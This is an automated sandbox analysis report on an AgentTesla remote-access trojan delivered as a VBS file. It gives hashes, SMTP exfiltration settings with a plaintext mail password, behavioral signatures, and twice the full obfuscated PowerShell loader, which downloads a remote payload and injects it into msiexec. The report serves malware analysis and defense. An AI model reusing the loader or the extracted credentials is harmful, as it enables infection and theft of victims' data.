Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
135s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
03/10/2024, 06:23
Static task
static1
Behavioral task
behavioral1
Sample
Justificante_01102024.vbs
Resource
win7-20240708-en
General
-
Target
Justificante_01102024.vbs
-
Size
96KB
-
MD5
456272f4cfecc56e5c7856bfba2bb77f
-
SHA1
10b3f7f01cfc05b05910110c93eed15bc294444a
-
SHA256
1618780b8570f9b44fdd73513c6aa8069eb8a9151a22d83b178c5be6eb125013
-
SHA512
3aedfbf46d5247c16fda370514d4b847099e89e5cd3695ba947667a7efaf53da217203444a8089f998836770556a79bd2e8b7b4197178bbe5a228c0f3a0b627c
-
SSDEEP
3072:7pAqCwlpbjrHFYWBxHEQdcpiE07Q/gsUo1wni3:KJw/bjZPbkPpL00/gsUEf
Malware Config
Extracted
Protocol: smtp- Host:
smtp.yandex.com - Port:
587 - Username:
[email protected] - Password:
marcellinus360
Extracted
agenttesla
Protocol: smtp- Host:
smtp.yandex.com - Port:
587 - Username:
[email protected] - Password:
marcellinus360 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Blocklisted process makes network request 4 IoCs
flow pid Process 7 4748 powershell.exe 27 840 msiexec.exe 29 840 msiexec.exe 32 840 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation WScript.exe -
pid Process 4748 powershell.exe 4812 powershell.exe -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 28 api.ipify.org 29 api.ipify.org -
pid Process 4748 powershell.exe 4812 powershell.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 840 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4812 powershell.exe 840 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4748 powershell.exe 4748 powershell.exe 4812 powershell.exe 4812 powershell.exe 4812 powershell.exe 840 msiexec.exe 840 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4748 powershell.exe Token: SeDebugPrivilege 4812 powershell.exe Token: SeDebugPrivilege 840 msiexec.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 840 msiexec.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3592 wrote to memory of 4748 3592 WScript.exe 82 PID 3592 wrote to memory of 4748 3592 WScript.exe 82 PID 4812 wrote to memory of 840 4812 powershell.exe 93 PID 4812 wrote to memory of 840 4812 powershell.exe 93 PID 4812 wrote to memory of 840 4812 powershell.exe 93 PID 4812 wrote to memory of 840 4812 powershell.exe 93
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Justificante_01102024.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3592 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Dulses Generalforsamlingsdato Lovlighedens Labbernes #>;$Spond='Fjeldmarkens';<#Overspringende Handelsomstning Snestorms #>;$Krlighedsforholdenes=$host.PrivateData;If ($Krlighedsforholdenes) {$Psykoteknisk++;}function Unabused($Redaktrer){$Fjerbuskenes=$Skibsjournalen+$Redaktrer.Length-$Psykoteknisk;for( $Communalizer=4;$Communalizer -lt $Fjerbuskenes;$Communalizer+=5){$Pomposities='Zapped';$Roskildenseres+=$Redaktrer[$Communalizer];}$Roskildenseres;}function Associationsteknikkerne($Snnekonernes){ & ($Selektionsmekanismerne) ($Snnekonernes);}$Winnie=Unabused 'SterMSar oU.giz Kori.yall Isfl mu a,lac/ Me,5 Ul..navi0B.id Iden(Ka,kWSpiliTremnK okdUndeoCeruwOrgasAnt OutbN SulTUdfo Tria1Kjor0Brdr.Pren0Tr n;Sha, MiljWHjeriKrognSucc6Depr4.res;Pa a Lnpoxs lv6 Men4 Ro ; Syn reperKompvDemi:dolo1Lgeh2Inco1 le.Hand0prop)Me u RaaGarseekrybcScark T tofin./Chik2Fela0Infe1Farv0Infl0 Tai1 Non0Unki1 Cli G.atF Kdsi C lrTru eSundf Le o CamxChry/Aren1Haan2 A k1 kan. Vov0 Pan ';$Troskabens=Unabused ' FruuN,beSMigrEkr grOkay-For A.endg AtoEFlo.NSforTVigt ';$Dyttet=Unabused ' dechBombtUdsttImbepOpeg:Indb/Omde/Isce9Ingo1Avl..Kn p1Spur0 P i9 Pau.Mase2Akt 0Para.Sma.1Bone6Tant1 ,hr/S.raU NomnInsudThrieFnokr Annkscoll LogaKautsKosysSocieUnderEften AleeR te.Abe pMos fA limCyan ';$Manorialize=Unabused 'Poly> kil ';$Selektionsmekanismerne=Unabused 'blueIThe,e earX Fre ';$Endossementet='Waring';$Retorikken='\Udenlandsopholdenes.Fin';Associationsteknikkerne (Unabused ' Vid$Sid gStralBlitoVelvb Fo a Legl Gra: Sk SKo eyDropnuhard Sygi Silku sleKrakruntaeUndfdStowe rgu1Besp1 St,2 Ork= F n$DaimeBegnnTubevFree: Cona Attp earp F sdJubia iltNon,aUnb +Stv.$ FavRP eteEr ot vero ,ear He iTejskUdtykCon e AronOmve ');Associationsteknikkerne (Unabused ' Kol$FondgU smlFemio Vilbp wta.nrilGros:OfteUMai m hefbQuarr KulaGoyae Homn Kiwsse v= P.t$ LatD urnyAuret T,at RineBu.atjern.Forks PolpUdfolDogmiS bct Hyp( Bio$con.MMauha rrn agsoudglrkey,iTrizaStkklJahniBatiz CreePost)synt ');Associationsteknikkerne (Unabused 'Disp[BaldNRejoeTribtExce. Ga.SSu deKn gr edrvInteiStavc GeoeAntiPHalvo umi Ir,nDyppt uteMPap.a MjdnAsm aFootgIndueMedurZabi]Apic: Car:GevaSlan e dilcAl bu PrirMisai Mekt RecySociPKno,r ,ono IketInfeo PercOpteophotlKick Elvr=nove Tmni[HkerNUdspeFanetBevr.BemrSCompeInfrc Lepu D rrRenci ,latTeleyPr,ePElevrEcoro Frat B doSkr,cs naoTreslSamsTGo.syConvpCypreHopp]Bira:tara:MennTBestl Evas Spn1 Ben2 ung ');$Dyttet=$Umbraens[0];$Nonexperimental=(Unabused 'H dr$TeskgnubiLTi bosupebPuttABru lSkna:Vieri dygNLivrD empsAn iMSp dUHogbgArvelTangiRei nT.keGDrkaeAl.iR ntrNRumse,ants,and2Grn 0 For0Conv=InddnDopiEOf ewHete-Grano .olbFl cJDrifEM ssCBarbtCo g BoxsNeueYDataSfristqu deLue m it.CharnJaileUnslt rbe.OpstWCarnEG,vib StvcUnbrLTe nirag EUrtiNHymetOver ');Associationsteknikkerne ($Nonexperimental);Associationsteknikkerne (Unabused ' Byg$G.stI Forn,eskd D rsVis mRytmuHjrngcivilCuckiOu.inRegngZoneetrear QuinEstueProbs ese2Nobb0Wark0 .oi.StavH Sh eIcklaT audAdvieFjerrOutssPige[Syns$LngeTStrirChrooVar.sKurskM era Tr bOp,keRejunDia sGril]re u=,ent$Pan.WLongi rren VirnhreliB taeI de ');$Tegnfejls=Unabused 'Zeph$ AntICompnA end AnosPinamEngluRigsgPleulPs ui ehnAmatgTriceRed rEnten ReseCosssAffa2 Inf0Krum0Paa,. Ud DSteno A twBlnkn Pa l Hjuo SmaaEm.nd GjoFHy.ric tclSulpePull(Fo,m$ SunDdeprySovjt Ru.t A.seAfgit Opl, Sti$KoncM Im emacrtSkataKrbbsforgtSla a orpsUnsciUnduz Rr,eSluksSanh)Co,p ';$Metastasizes=$Syndikerede112;Associationsteknikkerne (Unabused 'Tyks$TampG Ly.lM rgO TilBbeleaRuptL xte:L ppsDanmYI dgN Hydo ,orNInstYO.semJyd ibirikP ed= ork(Ambot RifeDidrsplanTflu -TherPOm nAStertWcerhCurc Ampu$TurmmKalkEOrchTPersaPr,lsSy dtAlp.Ate es HviIUdbeZstateStvlspena)Zeph ');while (!$Synonymik) {Associationsteknikkerne (Unabused ' Dru$ Afkg AntlPedaoRe,pb TilaOve lTran:StueMLavtaTongdUnfrbNet rForsa dekiFeu nBevi=Over$ KoatLat rSti uElv eSupe ') ;Associationsteknikkerne $Tegnfejls;Associationsteknikkerne (Unabused 'WeddS UnptUns,aChicrArbetPote-AethS Budl .okePr feHoolplov, Hav4U,vi ');Associationsteknikkerne (Unabused 'Onde$SupegFr.tlFl soAnsgbRaafaForfl A s:LuksSAdheyOr anLeveoSourn Eg y,dfam Fori FrikA be=Exte(TegnTUdfoeGasssFredtHedy-A odP Re.ahypst Oveh Br Genn$ ruMFe teEndetUdtaaUnc s ud tMo ea rips,seui onszBeste,ndesEnri)Bres ') ;Associationsteknikkerne (Unabused 'Epis$drilgDommlMureoAposbRabuaFdevlrach:InspGAmbroG thrFiskb,nmoeLadytMiti= udv$Gbakg na.lOk aoDiffbS.lia Konl ari:HerrETenatC.ltaGalaaDjvlr Ge sdiskfHy.gdpacssPipeeKlovlPoets Ch.dT icaPseugUstee Pa nMidte oossBldh+ Cli+Frih%Ha j$Fo pU,ithmVan.bForar Q,aa brieTeatnEly,sClem.Paryc stao F luFer nOve,t Fib ') ;$Dyttet=$Umbraens[$Gorbet];}$Retsbeskyttelsesperioden54=286648;$Sprngbombes=29720;Associationsteknikkerne (Unabused 'Be,r$Confg.illlmyopoapotb mpaJohalPunc: nevC.ussobioesMargeBlodi,nknsRigtmProsaForklFors D mk= agl TilsGSp defugutUdhu- ResCDangoSimunmlket BoseTrann UnutGotf Sorb$ RotMC emePalmt SkraReces LumtOpioaPalas UniiUncazMinie F.rsReno ');Associationsteknikkerne (Unabused ' Squ$Hretg C.llhjlaoNonibKiauaFi hl orc:St iAGhe,cPr lcSm du ,onrMoulsEcrae SandGavinPathe,aves SemsStuk2 Ret0Assi3Udan Taa=Bic, No a[ fteSLu by H rs Sstt isteho dm Mis.RaceComlao ButnHuswv awe Os r.oritOkeh] Afs:Exoa:In,eFBioprHydro OvemdrmeBPro a lacsStreeAbor6Ho.o4PaleSD,rmtNaturSus iSpi nNa bg ,ha(Fyrv$PrayC ondoSkygs rinePartiss es BromSkedaRes llamm)Unti ');Associationsteknikkerne (Unabused 'Labi$fab gGin lDrosoForsbSteraUnstlPret:CounG iscySloinVel oOversQuinpBeskoEdgirInteaEuphnProjg triIganuUdlsm Tek Med,=Syne ghet[Fou SOpenyLbn,s Funt GeneT knmdros.statTVeraeFilmxVelvtKokk.IncuE MinnBirkc Smeo SigdToneiVisnn .elgMele]Dark:Skim: onAExprSLnfoCCentIJe cIUdho. AtrGRhabe Nset .enStuattSou.rVotiiMuttnDobbgSlum(A pe$udvaAA,sucUnuscOveru CykrSupesforseBr vdThe nSammeSvensH drsScan2Sona0 .op3Tord)Brst ');Associationsteknikkerne (Unabused 'Fobi$StabgchaulPentoForebPro,aSm rlKa a:LndeKClicr UopiGstesSto tOvereSn rlA tiiMi.agTe rtLaug=Adip$tolnG B gy Agtn.ensoSekss ,unpSersomellrTandaHindn HregpantiUninuDeclm dvi.Plurs,emyuSlotbBonhsTarntPal.rSporiForhnAcq gFobi(Fest$ BriRMidseEnnot Caps Un bAfskeP rusNed k Undy omt Kejt pareTwisl TvisD rfeTufasKo,gpFlo eMo,lrKonfi.edeoLethdGe teAnsln P o5Di.p4Unwr, O t$Par SS ilp arvrL.denSoongAbekbTopeoDannmElevbLykeeJo,nsSeer)U de ');Associationsteknikkerne $Kristeligt;"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4748
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Dulses Generalforsamlingsdato Lovlighedens Labbernes #>;$Spond='Fjeldmarkens';<#Overspringende Handelsomstning Snestorms #>;$Krlighedsforholdenes=$host.PrivateData;If ($Krlighedsforholdenes) {$Psykoteknisk++;}function Unabused($Redaktrer){$Fjerbuskenes=$Skibsjournalen+$Redaktrer.Length-$Psykoteknisk;for( $Communalizer=4;$Communalizer -lt $Fjerbuskenes;$Communalizer+=5){$Pomposities='Zapped';$Roskildenseres+=$Redaktrer[$Communalizer];}$Roskildenseres;}function Associationsteknikkerne($Snnekonernes){ & ($Selektionsmekanismerne) ($Snnekonernes);}$Winnie=Unabused 'SterMSar oU.giz Kori.yall Isfl mu a,lac/ Me,5 Ul..navi0B.id Iden(Ka,kWSpiliTremnK okdUndeoCeruwOrgasAnt OutbN SulTUdfo Tria1Kjor0Brdr.Pren0Tr n;Sha, MiljWHjeriKrognSucc6Depr4.res;Pa a Lnpoxs lv6 Men4 Ro ; Syn reperKompvDemi:dolo1Lgeh2Inco1 le.Hand0prop)Me u RaaGarseekrybcScark T tofin./Chik2Fela0Infe1Farv0Infl0 Tai1 Non0Unki1 Cli G.atF Kdsi C lrTru eSundf Le o CamxChry/Aren1Haan2 A k1 kan. Vov0 Pan ';$Troskabens=Unabused ' FruuN,beSMigrEkr grOkay-For A.endg AtoEFlo.NSforTVigt ';$Dyttet=Unabused ' dechBombtUdsttImbepOpeg:Indb/Omde/Isce9Ingo1Avl..Kn p1Spur0 P i9 Pau.Mase2Akt 0Para.Sma.1Bone6Tant1 ,hr/S.raU NomnInsudThrieFnokr Annkscoll LogaKautsKosysSocieUnderEften AleeR te.Abe pMos fA limCyan ';$Manorialize=Unabused 'Poly> kil ';$Selektionsmekanismerne=Unabused 'blueIThe,e earX Fre ';$Endossementet='Waring';$Retorikken='\Udenlandsopholdenes.Fin';Associationsteknikkerne (Unabused ' Vid$Sid gStralBlitoVelvb Fo a Legl Gra: Sk SKo eyDropnuhard Sygi Silku sleKrakruntaeUndfdStowe rgu1Besp1 St,2 Ork= F n$DaimeBegnnTubevFree: Cona Attp earp F sdJubia iltNon,aUnb +Stv.$ FavRP eteEr ot vero ,ear He iTejskUdtykCon e AronOmve ');Associationsteknikkerne (Unabused ' Kol$FondgU smlFemio Vilbp wta.nrilGros:OfteUMai m hefbQuarr KulaGoyae Homn Kiwsse v= P.t$ LatD urnyAuret T,at RineBu.atjern.Forks PolpUdfolDogmiS bct Hyp( Bio$con.MMauha rrn agsoudglrkey,iTrizaStkklJahniBatiz CreePost)synt ');Associationsteknikkerne (Unabused 'Disp[BaldNRejoeTribtExce. Ga.SSu deKn gr edrvInteiStavc GeoeAntiPHalvo umi Ir,nDyppt uteMPap.a MjdnAsm aFootgIndueMedurZabi]Apic: Car:GevaSlan e dilcAl bu PrirMisai Mekt RecySociPKno,r ,ono IketInfeo PercOpteophotlKick Elvr=nove Tmni[HkerNUdspeFanetBevr.BemrSCompeInfrc Lepu D rrRenci ,latTeleyPr,ePElevrEcoro Frat B doSkr,cs naoTreslSamsTGo.syConvpCypreHopp]Bira:tara:MennTBestl Evas Spn1 Ben2 ung ');$Dyttet=$Umbraens[0];$Nonexperimental=(Unabused 'H dr$TeskgnubiLTi bosupebPuttABru lSkna:Vieri dygNLivrD empsAn iMSp dUHogbgArvelTangiRei nT.keGDrkaeAl.iR ntrNRumse,ants,and2Grn 0 For0Conv=InddnDopiEOf ewHete-Grano .olbFl cJDrifEM ssCBarbtCo g BoxsNeueYDataSfristqu deLue m it.CharnJaileUnslt rbe.OpstWCarnEG,vib StvcUnbrLTe nirag EUrtiNHymetOver ');Associationsteknikkerne ($Nonexperimental);Associationsteknikkerne (Unabused ' Byg$G.stI Forn,eskd D rsVis mRytmuHjrngcivilCuckiOu.inRegngZoneetrear QuinEstueProbs ese2Nobb0Wark0 .oi.StavH Sh eIcklaT audAdvieFjerrOutssPige[Syns$LngeTStrirChrooVar.sKurskM era Tr bOp,keRejunDia sGril]re u=,ent$Pan.WLongi rren VirnhreliB taeI de ');$Tegnfejls=Unabused 'Zeph$ AntICompnA end AnosPinamEngluRigsgPleulPs ui ehnAmatgTriceRed rEnten ReseCosssAffa2 Inf0Krum0Paa,. Ud DSteno A twBlnkn Pa l Hjuo SmaaEm.nd GjoFHy.ric tclSulpePull(Fo,m$ SunDdeprySovjt Ru.t A.seAfgit Opl, Sti$KoncM Im emacrtSkataKrbbsforgtSla a orpsUnsciUnduz Rr,eSluksSanh)Co,p ';$Metastasizes=$Syndikerede112;Associationsteknikkerne (Unabused 'Tyks$TampG Ly.lM rgO TilBbeleaRuptL xte:L ppsDanmYI dgN Hydo ,orNInstYO.semJyd ibirikP ed= ork(Ambot RifeDidrsplanTflu -TherPOm nAStertWcerhCurc Ampu$TurmmKalkEOrchTPersaPr,lsSy dtAlp.Ate es HviIUdbeZstateStvlspena)Zeph ');while (!$Synonymik) {Associationsteknikkerne (Unabused ' Dru$ Afkg AntlPedaoRe,pb TilaOve lTran:StueMLavtaTongdUnfrbNet rForsa dekiFeu nBevi=Over$ KoatLat rSti uElv eSupe ') ;Associationsteknikkerne $Tegnfejls;Associationsteknikkerne (Unabused 'WeddS UnptUns,aChicrArbetPote-AethS Budl .okePr feHoolplov, Hav4U,vi ');Associationsteknikkerne (Unabused 'Onde$SupegFr.tlFl soAnsgbRaafaForfl A s:LuksSAdheyOr anLeveoSourn Eg y,dfam Fori FrikA be=Exte(TegnTUdfoeGasssFredtHedy-A odP Re.ahypst Oveh Br Genn$ ruMFe teEndetUdtaaUnc s ud tMo ea rips,seui onszBeste,ndesEnri)Bres ') ;Associationsteknikkerne (Unabused 'Epis$drilgDommlMureoAposbRabuaFdevlrach:InspGAmbroG thrFiskb,nmoeLadytMiti= udv$Gbakg na.lOk aoDiffbS.lia Konl ari:HerrETenatC.ltaGalaaDjvlr Ge sdiskfHy.gdpacssPipeeKlovlPoets Ch.dT icaPseugUstee Pa nMidte oossBldh+ Cli+Frih%Ha j$Fo pU,ithmVan.bForar Q,aa brieTeatnEly,sClem.Paryc stao F luFer nOve,t Fib ') ;$Dyttet=$Umbraens[$Gorbet];}$Retsbeskyttelsesperioden54=286648;$Sprngbombes=29720;Associationsteknikkerne (Unabused 'Be,r$Confg.illlmyopoapotb mpaJohalPunc: nevC.ussobioesMargeBlodi,nknsRigtmProsaForklFors D mk= agl TilsGSp defugutUdhu- ResCDangoSimunmlket BoseTrann UnutGotf Sorb$ RotMC emePalmt SkraReces LumtOpioaPalas UniiUncazMinie F.rsReno ');Associationsteknikkerne (Unabused ' Squ$Hretg C.llhjlaoNonibKiauaFi hl orc:St iAGhe,cPr lcSm du ,onrMoulsEcrae SandGavinPathe,aves SemsStuk2 Ret0Assi3Udan Taa=Bic, No a[ fteSLu by H rs Sstt isteho dm Mis.RaceComlao ButnHuswv awe Os r.oritOkeh] Afs:Exoa:In,eFBioprHydro OvemdrmeBPro a lacsStreeAbor6Ho.o4PaleSD,rmtNaturSus iSpi nNa bg ,ha(Fyrv$PrayC ondoSkygs rinePartiss es BromSkedaRes llamm)Unti ');Associationsteknikkerne (Unabused 'Labi$fab gGin lDrosoForsbSteraUnstlPret:CounG iscySloinVel oOversQuinpBeskoEdgirInteaEuphnProjg triIganuUdlsm Tek Med,=Syne ghet[Fou SOpenyLbn,s Funt GeneT knmdros.statTVeraeFilmxVelvtKokk.IncuE MinnBirkc Smeo SigdToneiVisnn .elgMele]Dark:Skim: onAExprSLnfoCCentIJe cIUdho. AtrGRhabe Nset .enStuattSou.rVotiiMuttnDobbgSlum(A pe$udvaAA,sucUnuscOveru CykrSupesforseBr vdThe nSammeSvensH drsScan2Sona0 .op3Tord)Brst ');Associationsteknikkerne (Unabused 'Fobi$StabgchaulPentoForebPro,aSm rlKa a:LndeKClicr UopiGstesSto tOvereSn rlA tiiMi.agTe rtLaug=Adip$tolnG B gy Agtn.ensoSekss ,unpSersomellrTandaHindn HregpantiUninuDeclm dvi.Plurs,emyuSlotbBonhsTarntPal.rSporiForhnAcq gFobi(Fest$ BriRMidseEnnot Caps Un bAfskeP rusNed k Undy omt Kejt pareTwisl TvisD rfeTufasKo,gpFlo eMo,lrKonfi.edeoLethdGe teAnsln P o5Di.p4Unwr, O t$Par SS ilp arvrL.denSoongAbekbTopeoDannmElevbLykeeJo,nsSeer)U de ');Associationsteknikkerne $Kristeligt;"1⤵
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4812 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\syswow64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:840
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5d4ff23c124ae23955d34ae2a7306099a
SHA1b814e3331a09a27acfcd114d0c8fcb07957940a3
SHA2561de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87
SHA512f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
411KB
MD55b7d242a7b5b4a37c84d10e5e152f968
SHA1197e08451d9962cb1018324759bc1ebbb4162b7a
SHA2560307fd03bee806c65f0bdb652edf2529f87cd23d8ec21bb6f9e8688731884d89
SHA5124b818e126d96d156faf3c353ed07f704f3342938f2c6fde400edd98e77f5560096576bc44c63a7dfb3633e75a63306d100c0d7c96ec41ce5b479e825128fa074